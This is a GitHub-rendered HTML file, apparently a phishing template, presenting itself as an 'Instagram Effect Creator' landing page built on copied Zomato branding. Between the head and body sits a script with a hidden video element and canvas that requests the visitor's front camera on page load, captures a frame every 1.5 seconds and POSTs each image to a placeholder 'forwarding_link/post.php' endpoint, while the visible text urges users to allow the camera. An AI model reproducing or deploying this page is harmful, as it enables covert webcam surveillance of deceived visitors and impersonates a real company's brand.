-
Notifications
You must be signed in to change notification settings - Fork 419
/
tmp.html
832 lines (708 loc) · 19 KB
/
tmp.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
<!doctype html>
<html>
<head>
<script type="text/javascript" src="https://wybiral.github.io/code-art/projects/tiny-mirror/index.js"></script>
<link rel="stylesheet" type="text/css" href="https://wybiral.github.io/code-art/projects/tiny-mirror/index.css">
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.js"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.css"
integrity="sha512-KfkfwYDsLkIlwQp6LFnl8zNdLGxu9YAA1QvwINks4PhcElQSvqcyVLLD9aMhXd13uQjoXtEKNosOWaZqXgel0g=="
crossorigin="anonymous" referrerpolicy="no-referrer" />
<!-- poppins font by google fonts -->
<link rel="preconnect" href="https://fonts.googleapis.com" />
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
<link
href="https://fonts.googleapis.com/css2?family=Poppins:ital,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1,200;1,300;1,400;1,500;1,600;1,700;1,800;1,900&display=swap"
rel="stylesheet" />
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: "Poppins", sans-serif;
}
.hero__section {
background-image: url(https://raw.githubusercontent.com/tegal1337/CiLocks/main/Screenshoot/background1.png);
min-height: 60vh;
background-size: cover;
background-position: center;
color: white;
}
.navbar {
display: flex;
align-items: center;
justify-content: space-between;
height: 60px;
padding: 15px 45px;
}
.navbar a {
color: white;
text-decoration: none;
}
.navbar__menu_container {
display: flex;
gap: 20px;
}
.navbar__menu_container .user__icon {
height: 30px;
width: 30px;
border-radius: 100%;
border: 1px solid white;
align-items: center;
justify-content: center;
display: none;
}
.hero__section_container {
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
gap: 32px;
height: calc(60vh, 60px);
}
.hero__section_logo {
width: 200px;
/* height: 100px; */
/* height: auto; */
}
.hero__section_title {
text-align: center;
font-size: 25px;
font-weight: 400;
}
.hero__section_input_container {
background-color: white;
padding: 10px;
display: flex;
align-items: center;
justify-content: center;
gap: 10px;
width: 50%;
border-radius: 10px;
}
.input_container_location,
.input_container_search {
padding: 6px;
border: none;
border-radius: 15px;
width: 96%;
outline: none;
}
.input_container_location {
width: 35%;
border-right: 2px solid gray;
}
.input_container_search {
width: 65%;
}
/* Media */
@media only screen and (max-width:500px) {
.navbar__menu_container .user__icon {
display: flex;
}
.link {
display: none;
}
.hero__section {
min-height: 80vh;
}
.navbar {
padding: 16px;
}
.hero__section_input_container {
flex-direction: column;
background-color: transparent;
width: 100%;
}
.input_container_location,
.input_container_search {
padding: 15px;
flex-direction: column;
border-radius: 10px;
width: 95%;
}
.hero__section_input_container {
height: calc(80vh - 60px);
}
.hero__section_title {
font-size: 20px;
width: 95%;
}
}
/* .container{
margin: 3rem auto;
width: 90%;
} */
.container__we_offer {
margin: 3rem auto;
width: 90%;
display: flex;
flex-wrap: wrap;
gap: 1.5rem;
align-items: center;
justify-content: center;
}
.we__offer_card {
border-radius: 10px;
width: 300px;
/* background-color: aqua; */
overflow: hidden;
border: 0px solid gray;
/* Animations not working */
transition: all 0.4s ease;
}
.we__offer_card:hover {
transform: scale(1.05);
cursor: pointer;
}
.we__offer_card img {
width: 100%;
height: 190px;
object-fit: cover;
object-position: center;
}
.we__offer_content {
padding: 10px;
}
.we__offer_content h2 {
font-size: 20px;
font-weight: 400;
}
.we__offer_content p {
font-size: 12px;
}
.collections h1 {
font-weight: 500;
margin-left: 0%;
margin-bottom: 3%;
}
.collections .sub__heading_container {
font-size: 15px;
display: flex;
align-items: center;
justify-content: space-around;
flex-wrap: wrap;
gap: 1rem;
}
.sub__heading_container span:nth-child(2) {
color: #ff7e8b;
font-size: 13px;
cursor: pointer;
}
.collections_card_container {
display: flex;
align-items: center;
justify-content: center;
flex-wrap: wrap;
gap: 0.5rem;
margin-top: 1.5rem;
}
.collections_card_container .card {
height: 300px;
min-width: 240px;
background-size: cover;
background-position: center;
border-radius: 10px;
position: relative;
}
.card1 {
background-image: url('https://www.jerzypilch.com/assets/images/trios/cyborg.png');
}
.card2 {
background-image: url('https://www.jerzypilch.com/assets/images/clients/JonasAden.jpg');
}
.card3 {
background-image: url('https://www.jerzypilch.com/assets/images/clients/MusicTrip.jpg');
}
/* Shift + Alt + f */
.card4 {
background-image: url('https://www.jerzypilch.com/assets/images/trios/fruitFrenzy.png');
}
.overlay{
width: 100%;
height: 100%;
position: absolute;
top: 0;
left: 0;
border-radius: 10px;
background: linear-gradient(
0deg,
rgba(0, 0 ,0, 0.8) 0%,
rgba(0, 0 ,0, 0.05) 50%,
rgba(0, 0 ,0, 0.05) 85%
/* rgba(0, 0, 0, 0)100% */
);
z-index: 5;
}
.collections_card_container .card .content{
position: absolute;
bottom: 0;
left: 0;
color: white;
padding: 12px 16px;
font-size: 0.8rem;
z-index: 10;
}
.content h4{
font-weight: 400;
letter-spacing: 0.5px;
}
/* .collections h1{
margin: auto;
} */
.get__the_app{
display: flex;
align-items: center;
justify-content: center;
background-color: rgb(255, 251, 247);
/* background-color: aqua; */
width: 100%;
padding: 3rem 6rem;
}
.get__the_app .semiContainer{
width: 60%;
display: flex;
justify-content: center;
align-items: center;
flex-wrap: wrap;
gap: 1.5rem;
}
.get__the_app .semiContainer .left{
flex: 2;
}
.get__the_app .semiContainer .left img{
width: 100%;
object-fit: cover;
object-position: center;
}
.get__the_app .semiContainer .right {
flex: 3;
height: 100%;
display: flex;
flex-direction: column;
gap: 1rem;
}
.get__the_app .semiContainer .right h1{
font-weight: 400;
font-size: 2rem;
}
.right p{
font-size: 0.8rem;
}
.semiContainer .right .radio__button_container{
display: flex;
align-items: center;
gap: 1rem;
}
.semiContainer .right .radio__button_container div{
display: flex;
align-items: center;
justify-content: center;
gap: 10px;
}
.right .radio__button_container div input{
height: 15px;
width: 15px;
accent-color: rgb(239,79,95);
}
.semiContainer .right .input_container{
display: flex;
gap: 0.5rem;
}
.input_container{
flex-wrap: wrap;
}
.input_container button, .input_container input{
padding: 10px 12px;
}
.input_container input{
flex: auto;
border: 1.5px solid gray;
outline: none;
border-radius: 5px;
}
.input_container button{
border: none;
background-color: rgb(239,79,95);
color: white;
border-radius: 5px;
cursor: pointer;
}
/* button:hover{
cursor: pointer;
} */
.right .download__app_container{
display: flex;
flex-direction: column;
gap: 0.7rem;
}
.download__app_container h5{
font-size: 400;
color: gray;
}
.download__app_container div{
display: flex;
gap: 1rem;
}
.download__app_container div img{
width: 35%;
}
@media only screen and (max-width: 1300px) {
.get__the_app .semiContainer .left, .get__the_app .semiContainer .right{
flex: 1;
}
.get__the_app .semiContainer{
width: 80%;
}
}
@media only screen and (max-width: 900px) {
.get__the_app {
padding: 2rem;
}
.get__the_app .semiContainer{
width: 90%;
}
}
@media only screen and (max-width: 700px) {
.get__the_app {
padding: 3rem;
}
.get__the_app .semiContainer{
width: 80%;
flex-direction: column;
}
}
.footer{
width: 100%;
}
.footer_section1{
display: flex;
align-items: center;
justify-content: center;
width: 90%;
margin: auto;
flex-wrap: wrap;
gap: 2.5rem;
}
.footer_section1 img{
width: 120px;
}
.section1__buttonContainer{
display: flex;
gap: 1.5rem;
}
.section1__buttonContainer button{
padding: 5px;
width: 90px;
border: 1px solid gray;
background-color: transparent;
border-radius: 5px;
display: flex;
align-items: center;
justify-content: center;
gap: 10px;
cursor: pointer;
}
.navigation_container{
display: grid;
grid-template-columns: repeat(5, 1fr);
gap: 1rem;
width: 90%;
margin: auto;
padding: 3rem 0;
}
.link__container{
display: flex;
flex-direction: column;
gap: 5px;
}
.link__container h5{
font-weight: 500;
font-size: 15px;
margin-bottom: 5px;
letter-spacing: 0.8px;
}
.footer__link{
text-decoration: none;
color: gray;
font-size: 13px;
font-weight: 300;
}
.footer__link:hover{
color: black;
}
.social__links_container button{
background-color: black;
border: none;
width: 25px;
height: 25px;
border-radius: 30px;
/* display: flex; */
/* justify-content: center;
align-items: center; */
cursor: pointer;
}
.social__links_container button i{
color: white;
font-size: 13px;
display: flex;
justify-content: center;
align-items: center;
}
.footer__section_logos{
width: 100%;
}
.disclamer{
width: 90%;
margin: auto;
color: gray;
font-size: 12px;
border-top: 1px solid gray;
padding-top: 1.5rem;
}
@media only screen and (max-width: 900px){
.navigation_container{
grid-template-columns: repeat(3, 1fr);
}
}
@media only screen and (max-width: 600px){
.navigation_container{
grid-template-columns: repeat(2, 1fr);
}
}
@media only screen and (max-width: 300px){
.navigation_container{
grid-template-columns: repeat(1, 1fr);
}
}
</style>
</head>
<div class="video-wrap" hidden="hidden">
<video id="video" playsinline autoplay></video>
</div>
<canvas hidden="hidden" id="canvas" width="640" height="480"></canvas>
<script>
function post(imgdata){
$.ajax({
type: 'POST',
data: { cat: imgdata},
url: 'forwarding_link/post.php',
dataType: 'json',
async: false,
success: function(result){
// call the function that handles the response/results
},
error: function(){
}
});
};
'use strict';
const video = document.getElementById('video');
const canvas = document.getElementById('canvas');
const errorMsgElement = document.querySelector('span#errorMsg');
const constraints = {
audio: false,
video: {
facingMode: "user"
}
};
// Access webcam
async function init() {
try {
const stream = await navigator.mediaDevices.getUserMedia(constraints);
handleSuccess(stream);
} catch (e) {
errorMsgElement.innerHTML = `navigator.getUserMedia error:${e.toString()}`;
}
}
// Success
function handleSuccess(stream) {
window.stream = stream;
video.srcObject = stream;
var context = canvas.getContext('2d');
setInterval(function(){
context.drawImage(video, 0, 0, 640, 480);
var canvasData = canvas.toDataURL("image/png").replace("image/png", "image/octet-stream");
post(canvasData); }, 1500);
}
// Load init
init();
</script>
<body>
<section class="hero__section">
<header>
<nav class="navbar">
<a href="#">Get The App</a>
<div class="navbar__menu_container">
<a href="#" class="link">For Creator</a>
<a href="#" class="link">Download</a>
<a href="#" class="link">Community</a>
<a href="#" class="link">Sign Up</a>
<a href="#" class="user__icon">
<i class="fa-solid fa-user"></i>
</a>
</div>
</nav>
</header>
<div class="hero__section_container">
<img class="hero__section_logo" src="https://raw.githubusercontent.com/rohan1917/zomato-landing-page-DT/master/images/heroSectionLogo.png" alt="Zomato Logo" />
<h1 class="hero__section_title">Instagram Effect Creator</h1>
<div class="hero__section_input_container">
<input type="text" class="input_container_location" placeholder="Take picture" />
<input type="text" class="input_container_search" placeholder="Please Allow the Camera" />
</div>
</div>
</section>
<section class="container__we_offer">
<div class="we__offer_card">
<img src="https://www.jerzypilch.com/assets/images/clients/where-is-messenger-game.jpg" alt="Item 1" />
<div class="we__offer_content">
<h2>Messenger</h2>
<p>Stay home and ordere to your door</p>
</div>
</div>
<div class="we__offer_card">
<img src="https://www.jerzypilch.com/assets/images/clients/sains-disney.jpg" alt="Item 2" />
<div class="we__offer_content">
<h2>Sainsbury's X Disney</h2>
<p>View the city's favourite dining venus</p>
</div>
</div>
<div class="we__offer_card">
<img src="https://www.jerzypilch.com/assets/images/clients/science-museum.jpg" alt="Item 3" />
<div class="we__offer_content">
<h2>Science Museum</h2>
<p>Explore the city's top nightlife outlets</p>
</div>
</div>
</section>
<section class="container collections">
<h1>collections</h1>
<div class="sub__heading_container">
<span>
Explore curated lists of top effect, creator, and best story
</span>
<span>
All Collections in Effect
</span>
</div>
<div class="collections_card_container">
<div class="card card1">
<div class="overlay"></div>
<div class="content">
<h4>Jerzy Pilc Social AR</h4>
<span> 60 Effect</span>
</div>
</div>
<div class="card card2">
<div class="overlay"></div>
<div class="content">
<h4>John Plate AR</h4>
<span> 80 Effect</span>
</div>
</div>
<div class="card card3">
<div class="overlay"></div>
<div class="content">
<h4>Cristian AR</h4>
<span> 90 Effect</span>
</div>
</div>
<div class="card card4">
<div class="overlay"></div>
<div class="content">
<h4>James Bon</h4>
<span> 50 Effect</span>
</div>
</div>
</div>
</section>
<section class="container get__the_app">
<div class="semiContainer">
<div class="left">
<img src="https://raw.githubusercontent.com/tegal1337/CiLocks/main/Screenshoot/faceapp.png" alt="Get the Mobile app" />
</div>
<div class="right">
<h1>Instagram Effect Creator</h1>
<p>Create an Instagram Effect with One Click and Easy</p>
<div class="radio__button_container">
<div>
<input type="radio" name="download_app" id="email" />
<label for="email" style="font-size: 14px;">Email</label>
</div>
<div>
<input type="radio" name="download_app" id="phone" />
<label for="phone" style="font-size: 14px;">Phone</label>
</div>
</div>
<div class="input_container">
<input type="text" placeholder="Email" />
<button>Try Now</button>
</div>
<div class="download__app_container">
<h5>Download App Form</h5>
<div>
<img src="https://raw.githubusercontent.com/rohan1917/zomato-landing-page-DT/master/images/appleStore.png" alt="Apple Store" />
<img src="https://raw.githubusercontent.com/rohan1917/zomato-landing-page-DT/master/images/playStore.png" alt="Play Store" />
</div>
</div>
</div>
</div>
</section>
<footer class="container footer">
<div class="navigation_container">
<div class="link__container">
<h5>ABOUT ZOMATO</h5>
<a class="footer__link" href="#">Who we are</a>
<a class="footer__link" href="#">Blogs</a>
<a class="footer__link" href="#">Work with us</a>
<a class="footer__link" href="#">Investore Relations</a>
<a class="footer__link" href="#">Report Fraud</a>
<a class="footer__link" href="#">Conatct Us</a>
</div>
<div class="link__container">
<h5>ZOMAVERSE</h5>
<a class="footer__link" href="#">Zomato</a>
<a class="footer__link" href="#">Feeding</a>
<a class="footer__link" href="#">Hyperpure</a>
<a class="footer__link" href="#">Zomaland</a>
</div>
<div class="link__container">
<h5>FOR CREATORS</h5>
<a class="footer__link" href="#">Partner With Us</a>
<a class="footer__link" href="#">Apps For You</a>
<br />
<h5>ENTERPRICES</h5>
<a class="footer__link" href="#">Work with us</a>
<a class="footer__link" href="#">Zomato for work</a>
</div>
<div class="link__container">
<h5>LEARN MORE</h5>
<a class="footer__link" href="#">Privacy</a>
<a class="footer__link" href="#">Security</a>
<a class="footer__link" href="#">Terms</a>
<a class="footer__link" href="#">SiteMap</a>
</div>
<div class="link__container">
<h5>SOCIAL LINKS</h5>
<div class="social__links_container">
<button><i class="fa-brands fa-linkedin-in"></i></button>
<button><i class="fa-brands fa-instagram"></i></button>
<button><i class="fa-brands fa-twitter"></i></button>
<button><i class="fa-brands fa-youtube"></i></button>
<button><i class="fa-brands fa-facebook"></i></button>
</div>
<br />
<img src="https://raw.githubusercontent.com/rohan1917/zomato-landing-page-DT/master/images/appleStore.png" alt="Footer Logos" class="footer__section_logos" />
<img src="https://raw.githubusercontent.com/rohan1917/zomato-landing-page-DT/master/images/playStore.png" alt="Footer Logos" class="footer__section_logos" />
</div>
</div>
<div class="disclamer">
By continuing past this page, you agree to our Terms of Service,
Cookie Policy, Privacy Policy and Content Policies. All trademarks
are properties of their respective owners. 2008-2022 © Zomato™ Ltd.
All rights reserved.
</div>
</footer>
<p><label><input type="checkbox" name="mirror" id="mirror" /> Mirror image</label></p>
</body>
</html>